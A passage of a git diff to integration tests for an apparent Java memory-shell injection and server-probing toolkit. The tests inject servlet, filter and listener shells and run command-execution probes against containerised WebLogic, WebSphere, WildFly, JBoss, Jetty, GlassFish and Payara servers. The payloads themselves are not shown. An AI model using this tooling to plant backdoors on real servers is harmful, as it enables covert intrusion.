+ String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.WebLogic, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java index b52bd6ff..e3e04b0f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.weblogic; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -80,4 +82,13 @@ public static String getUrl(GenericContainer container) { log.info("container started, app url is : {}", url); return url; } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.WebLogic, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java index c1e38624..499c54f0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.websphere; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.BindMode; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; @@ -83,4 +85,13 @@ public static String getUrl(GenericContainer container) { log.info("container started, app url is : {}", url); return url; } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java index 72da856a..fab38b41 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.websphere; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.BindMode; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; @@ -83,4 +85,12 @@ public static String getUrl(GenericContainer container) { log.info("container started, app url is : {}", url); return url; } + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java index cf5ab880..16c07386 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.wildfly; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -71,4 +73,13 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = { ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java index e109fe2c..7ad01b10 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.wildfly; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -71,4 +73,13 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = { ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java index 9188703a..f1d4d7cf 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.wildfly; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -75,4 +77,13 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V17); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly36ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly36ContainerTest.java index b0809545..18e9f1cc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly36ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly36ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.wildfly; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -75,4 +77,13 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V21, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V21); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java index 35074393..f1a085fe 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.wildfly; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -80,4 +82,13 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = { ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java index dd549982..5c0eed8b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java @@ -34,11 +34,12 @@ public class GlassFish3ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5))) + .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); + @BeforeAll static void setup() { - container.waitingFor(Wait.forHttp("/app/")); + container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); } @Test diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java index 12300264..bdea4a44 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java @@ -35,13 +35,14 @@ public class GlassFish4ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5))) + .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @BeforeAll static void setup() { - container.waitingFor(Wait.forHttp("/app/")); + container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); } + @AfterAll static void tearDown() { System.out.println(container.getLogs()); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java index ab9532c2..618dd7db 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java @@ -6,6 +6,7 @@ import com.reajason.javaweb.integration.probe.DetectionTool; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; @@ -31,8 +32,14 @@ public class GlassFish501ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forLogMessage(".*deployed.*", 1)) + .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); + + @BeforeAll + static void setup() { + container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); + } + @Test void testJDK() { String url = getUrl(container); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java index 983df63f..7635a6cc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java @@ -6,6 +6,7 @@ import com.reajason.javaweb.integration.probe.DetectionTool; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; @@ -32,8 +33,14 @@ public class GlassFish510ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forLogMessage(".*deployed.*", 1)) + .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); + + @BeforeAll + static void setup() { + container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); + } + @Test void testJDK() { String url = getUrl(container); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java index c3d1deaa..67aecac7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java @@ -6,6 +6,7 @@ import com.reajason.javaweb.integration.probe.DetectionTool; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; @@ -32,9 +33,14 @@ public class GlassFish6ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warJakartaFile, "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forLogMessage(".*deployed.*", 1)) + .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); + @BeforeAll + static void setup() { + container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); + } + @Test void testJDK() { String url = getUrl(container); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java index f15d7468..5cb578a8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7ContainerTest.java @@ -7,6 +7,7 @@ import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; @@ -33,9 +34,14 @@ public class GlassFish7ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warJakartaFile, "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forLogMessage(".*startup time.*", 1)) + .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) .withExposedPorts(8080); + @BeforeAll + static void setup() { + container.waitingFor(Wait.forHttp("/app/test")); + } + @AfterAll public static void tearDown() { System.out.println(container.getLogs()); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap81ContainerTest.java new file mode 100644 index 00000000..c5fb6cfc --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap81ContainerTest.java @@ -0,0 +1,72 @@ +package com.reajason.javaweb.integration.probe.jbosseap; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class JbossEap81ContainerTest { + public static final String imageName = "reajason/jboss:eap-8.1-jdk17"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/usr/local/jboss/standalone/deployments/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|17.0.15|61", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Server.Undertow, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V17); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V17); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java index 019b540a..aa0f9670 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java @@ -1,10 +1,12 @@ package com.reajason.javaweb.integration.probe.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -53,4 +55,11 @@ void testServerDetection() { String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); assertEquals(Server.Jetty, data); } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee11ContainerTest.java new file mode 100644 index 00000000..d2a75485 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee11ContainerTest.java @@ -0,0 +1,65 @@ +package com.reajason.javaweb.integration.probe.jetty; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Slf4j +@Testcontainers +public class Jetty12ee11ContainerTest { + public static final String imageName = "reajason/jetty:12.1-jre21-ee11"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|21.0.9|65", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Server.Jetty, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java index a1c05290..bdeeca13 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java @@ -1,10 +1,13 @@ package com.reajason.javaweb.integration.probe.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -32,6 +35,11 @@ public class Jetty12ee8ContainerTest { .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); + @AfterAll + public static void tearDown() { + log.info(container.getLogs()); + } + @Test void testJDK() { String url = getUrl(container); @@ -53,4 +61,11 @@ void testServerDetection() { String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); assertEquals(Server.Jetty, data); } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java index 410c9edd..ca93ceda 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java @@ -1,10 +1,12 @@ package com.reajason.javaweb.integration.probe.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -53,4 +55,11 @@ void testServerDetection() { String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); assertEquals(Server.Jetty, data); } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java index 3a84af08..483422d2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java @@ -7,6 +7,7 @@ import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; @@ -32,9 +33,14 @@ public class Payara5201ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) + .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); + @BeforeAll + static void setup() { + container.waitingFor(Wait.forLogMessage(".*JMXService.*", 1)); + } + @AfterAll public static void tearDown() { System.out.println(container.getLogs()); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java index c2356242..0bbc2800 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java @@ -6,6 +6,7 @@ import com.reajason.javaweb.integration.probe.DetectionTool; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; @@ -31,9 +32,14 @@ public class Payara520225ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) + 